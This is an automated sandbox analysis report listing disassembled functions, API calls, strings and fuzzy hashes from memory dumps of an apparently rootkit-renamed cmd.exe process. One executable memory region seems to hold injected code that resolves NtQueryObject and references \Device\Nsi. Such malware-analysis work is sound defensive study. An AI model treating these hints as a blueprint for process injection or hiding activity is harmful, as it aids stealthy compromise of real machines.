Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6714b57ab64ccf1cb705dfdd5569d9287a74fd628b1eac91bf894110f45b7a1d
Instruction ID: 53443fd7dbd19c3637012c6ed3d149f2d577740c10949265f967fb11584e8f0d
Opcode Fuzzy Hash: 6714b57ab64ccf1cb705dfdd5569d9287a74fd628b1eac91bf894110f45b7a1d
Instruction Fuzzy Hash: E391B336608E828AEBA4AF24D8502FDB6E0FB49765F804235DA4E5B794DF3DD55CC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EB0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137EB13F

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

_get_osfhandle.MSVCRT ref: 00007FF7137EB22A
_get_osfhandle.MSVCRT ref: 00007FF7137EB241

Part of subcall function 00007FF7137F1EA0: wcschr.MSVCRT ref: 00007FF7137F1EB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137EB2F7

Strings

DPATH, xrefs: 00007FF7137FC078

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandlememset$wcschr
String ID: DPATH
API String ID: 3260997497-2010427443
Opcode ID: 41e54b0670c20d72ba7f015e67b536ed96c4d732916ea9d551e972c5a3ecdbc5
Instruction ID: 26ca983bc1ca28de8746fb18101fb820bf6f1a11b97ecdc73b89f322b528c133
Opcode Fuzzy Hash: 41e54b0670c20d72ba7f015e67b536ed96c4d732916ea9d551e972c5a3ecdbc5
Instruction Fuzzy Hash: 19D1A022A08E4286EB94BB65D4801BDA7A5FF48BB4F844231D92D677D4DF3CE81DC360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F7FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 00007FF7137F802B
NtOpenFile.NTDLL ref: 00007FF7137F8092
RtlReleaseRelativeName.NTDLL ref: 00007FF7137F80A4
RtlFreeUnicodeString.NTDLL ref: 00007FF7137F80B4

Part of subcall function 00007FF7137F8114: NtQueryVolumeInformationFile.NTDLL ref: 00007FF7137F8151

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF7137F80E2
NtSetInformationFile.NTDLL ref: 00007FF713800327
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713800342
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF713800356

Strings

@P, xrefs: 00007FF7137F805E

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @P
API String ID: 1801357106-3670739982
Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction ID: 77903d77919740aa04e3f0bccbcf5350a37306cb543ba40389e47e4712f6be68
Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction Fuzzy Hash: D5417B32B04E45DFE750AF60D4803EDABA4FB89768F848235DA1D66A88DF78D518C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E2220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E2287
memset.MSVCRT ref: 00007FF7137E22AD
memset.MSVCRT ref: 00007FF7137E22D3
memset.MSVCRT ref: 00007FF7137E22F9

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E23F6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E2415
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E2434
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E2453

Part of subcall function 00007FF7137E2618: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00008000,00007FF7137E2397), ref: 00007FF7137E2666

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$BufferConsoleInfoScreen
String ID:
API String ID: 1034426908-0
Opcode ID: 5b624a9b64c3ee3c12555fe055ae2baa63bd61b58cf8ac360c05aab8446ce906
Instruction ID: 79b91b5f1849054fb0387252dafd4b6bed882a23825193804e68ca5468bec18e
Opcode Fuzzy Hash: 5b624a9b64c3ee3c12555fe055ae2baa63bd61b58cf8ac360c05aab8446ce906
Instruction Fuzzy Hash: 3EF1A672708B8289EBA4EB21D8802E9A7A4FF49764F804134DA5D6B695DF3CE51DC720

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B2D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000002155A5B2E1C
lstrlenW.KERNEL32 ref: 000002155A5B3056

Part of subcall function 000002155A5B1A14: OpenProcess.KERNEL32 ref: 000002155A5B1A3A
Part of subcall function 000002155A5B1A14: K32GetModuleFileNameExW.KERNEL32 ref: 000002155A5B1A58
Part of subcall function 000002155A5B1A14: PathFindFileNameW.SHLWAPI ref: 000002155A5B1A67
Part of subcall function 000002155A5B1A14: lstrlenW.KERNEL32 ref: 000002155A5B1A73
Part of subcall function 000002155A5B1A14: StrCpyW.SHLWAPI ref: 000002155A5B1A86
Part of subcall function 000002155A5B1A14: CloseHandle.KERNEL32 ref: 000002155A5B1A94

GetProcAddress.KERNEL32 ref: 000002155A5B2E31

Part of subcall function 000002155A5B1554: StrCmpIW.SHLWAPI ref: 000002155A5B1585

Part of subcall function 000002155A5B39D0: StrCmpNIW.SHLWAPI ref: 000002155A5B39E8

StrCmpNIW.SHLWAPI ref: 000002155A5B2E74
lstrlenW.KERNEL32 ref: 000002155A5B2F9C

Strings

\Device\Nsi, xrefs: 000002155A5B2E67
ntdll.dll, xrefs: 000002155A5B2E15
NtQueryObject, xrefs: 000002155A5B2E27

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: a94945a9ac9ee33059e4bbcd120237afcf73959bf10171101ef68035fd010a96
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: B4B1C132210E68E2EF548F25D449BE963A6FBA2B9DF805056FE0A53B94DF34CC48C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380AC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AD67
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380ADF0
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AE17
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AE94
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AED1
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AEFA

Strings

\Shell\Open\Command, xrefs: 00007FF71380AD12
%s=%s, xrefs: 00007FF71380AEA9

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command
API String ID: 4081037667-3301834661
Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction ID: e95e4134b06ddb26f70684a5a7b38934f8da67cf20a78ea9f209e1ac71ce6768
Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction Fuzzy Hash: D771A172B09E4286FBA0AB15A0502B9E2E5FF857A0FC44231DE4E2B794DF3DD5598730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380AA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AA85
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AACF
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF71380AAEC
RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF7138098C0), ref: 00007FF71380AB39
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF7138098C0), ref: 00007FF71380AB6F
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF7138098C0), ref: 00007FF71380ABA4
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF7138098C0), ref: 00007FF71380ABCB

Strings

%s=%s, xrefs: 00007FF71380AB02

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseDeleteValue$CreateOpen
String ID: %s=%s
API String ID: 1019019434-1087296587
Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction ID: a84d5014f1c1e059d2f74921a5d514a5245ac7952929178edee83006dd4ec18b
Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction Fuzzy Hash: 5651C831B08F8286F7A0AB25E45077AF6E5FB897A0F804235CA4D67790DF3ED4598720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E1884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF7137E194E
_wcsnicmp.MSVCRT ref: 00007FF7137E19A1
wcsrchr.MSVCRT ref: 00007FF7137E1A1D
_wcsnicmp.MSVCRT ref: 00007FF7137E1A75

Strings

COPYCMD, xrefs: 00007FF7137E192B, 00007FF7137E19F9

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpwcsrchr
String ID: COPYCMD
API String ID: 2429825313-3727491224
Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction ID: cc76d6807757fc36883dfedda2ce282aca646a772f41537e185ea38bb0d0a584
Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction Fuzzy Hash: 0EF1A372F08E5285FBA0AF51E0811BDA2E1AB087A8F804235DE5E376D4DE3DA55DC770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E4A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E4A87

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

wcsrchr.MSVCRT ref: 00007FF7137E4B19
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E4B83
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E4BDD

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$FullNamePathwcsrchr
String ID:
API String ID: 4289998964-0
Opcode ID: 0da998e9ab16b394846e0640a477e7292e6a00879b390fc8d65d6ee2f03c3281
Instruction ID: db4d0c9d0aaceb99c54470463fc7f9be4baa9bbf4c8dc53acaf56bb1d7b6155b
Opcode Fuzzy Hash: 0da998e9ab16b394846e0640a477e7292e6a00879b390fc8d65d6ee2f03c3281
Instruction Fuzzy Hash: 5EC1A311A09B5682EBE4BB51D58837DA3A4FB45BA0F805530CE1E2B7D0EF7DA46D8730

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B7F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002155A5B7F2C
RtlCaptureContext.NTDLL ref: 000002155A5B7F59
RtlLookupFunctionEntry.NTDLL ref: 000002155A5B7F73
RtlVirtualUnwind.NTDLL ref: 000002155A5B7FB4
IsDebuggerPresent.KERNEL32 ref: 000002155A5B8008
SetUnhandledExceptionFilter.KERNEL32 ref: 000002155A5B8029
UnhandledExceptionFilter.KERNEL32 ref: 000002155A5B8034

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction ID: c05f92415962fe4e72d96c68d59b5f479fdd07acf599f853687e507ea232bd2f
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: 37317A72206E94EAEB608F60E854BDD7361F394758F84402AEB4E47B98EF38C54CC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380BCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF71380BD2C
fflush.MSVCRT ref: 00007FF71380BD45
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF71380BD62
NtCancelSynchronousIoFile.NTDLL ref: 00007FF71380BD80
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF71380BD93
_get_osfhandle.MSVCRT ref: 00007FF71380BDB5
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF71380BDC4

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3476366620-0
Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction ID: f117964ae6c7b9380c627b31bf042e426f522d90616056c811a57a223f54d7e1
Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction Fuzzy Hash: 0921ED20909E4296EB957F24A4152B8EA90FF4A735FC44235D96E662E1DF7EE42CC230

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BB5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002155A5BB625
RtlLookupFunctionEntry.NTDLL ref: 000002155A5BB63D
RtlVirtualUnwind.NTDLL ref: 000002155A5BB678
IsDebuggerPresent.KERNEL32 ref: 000002155A5BB6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 000002155A5BB6BB
UnhandledExceptionFilter.KERNEL32 ref: 000002155A5BB6C6

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: 2353789dd544381b76e58f8fb5354973fd08d846d040f623b0241962c4fe947c
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: 4C316D32215F94E6EB608F25E844BDE73A1F799768F904116FA9E43B98DF38C549CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E3D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF7137E3DD4

Part of subcall function 00007FF7137F417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F41AD

Part of subcall function 00007FF7137E1884: wcsrchr.MSVCRT ref: 00007FF7137E194E
Part of subcall function 00007FF7137E1884: _wcsnicmp.MSVCRT ref: 00007FF7137E19A1

NtQueryInformationProcess.NTDLL ref: 00007FF7137E3E9C
NtSetInformationProcess.NTDLL ref: 00007FF7137E3EC9
NtSetInformationProcess.NTDLL ref: 00007FF7137E3F4D

Strings

%9d, xrefs: 00007FF7137E3EF9

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
String ID: %9d
API String ID: 1006866328-2241623522
Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction ID: aa2948adbfeb40610e9cb5db52b2e60cee2f58d593e3074706fadbffe14e1812
Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction Fuzzy Hash: 1C516E71A08A42CAE780AB2198405A8BBA4FB48774F814635DA6E77791CF3DE55CCB30

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BFF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002155A5C0007
WriteFile.KERNEL32 ref: 000002155A5C02BE
WriteFile.KERNEL32 ref: 000002155A5C0310
GetLastError.KERNEL32 ref: 000002155A5C0412
GetLastError.KERNEL32 ref: 000002155A5C0472

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: 23f871aea82567dfb7ca13ade0720894b883ca50303bfec973800a3930b10350
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: 33E11272705AA0EAFB00CF64D0986DD7BB2F39578CF944156EE4A57B98DB38C51ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E8DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E8E6D
memset.MSVCRT ref: 00007FF7137E8E93

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E8F9A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E8FBC

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
